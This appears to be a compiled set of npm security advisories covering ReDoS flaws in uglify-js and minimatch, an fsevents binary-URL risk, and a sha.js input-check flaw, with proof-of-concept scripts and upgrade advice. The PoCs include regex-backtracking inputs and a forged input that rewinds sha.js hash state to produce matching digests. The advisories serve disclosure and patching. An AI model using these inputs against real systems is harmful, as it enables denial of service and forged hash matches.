Version Details and Security Vulnerabilities

Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.

Proof of Concept

var u = require('uglify-js');
var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}

u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");

Results

$ time node test.js 10000
real	0m1.091s
user	0m1.047s
sys	0m0.039s

$ time node test.js 80000
real	0m6.486s
user	0m6.229s
sys	0m0.094s

Recommendation

Update to version 2.6.0 or later.

fsevents before 1.2.11 depends on the https://fsevents-binaries.s3-us-west-2.amazonaws.com URL, which might allow an adversary to execute arbitrary code if any JavaScript project (that depends on fsevents) distributes code that was obtained from that URL at a time when it was controlled by an adversary.

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept

var minimatch = require(“minimatch”);

// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.

A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.

Summary

This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.

Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

Details

See PoC

PoC

const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])

const sha = require('sha.js')
const { randomBytes } = require('crypto')

const sha256 = (...messages) => {
  const hash = sha('sha256')
  messages.forEach((m) => hash.update(m))
  return hash.digest('hex')
}

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])

Output:

638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe

Or just:

> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'

Impact

1. Hash state rewind on {length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.
2. Value miscalculation, e.g. a collision is generated by { length: buf.length, ...buf, 0: buf[0] + 256 } This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js)
3. DoS on {length:'1e99'}
4. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)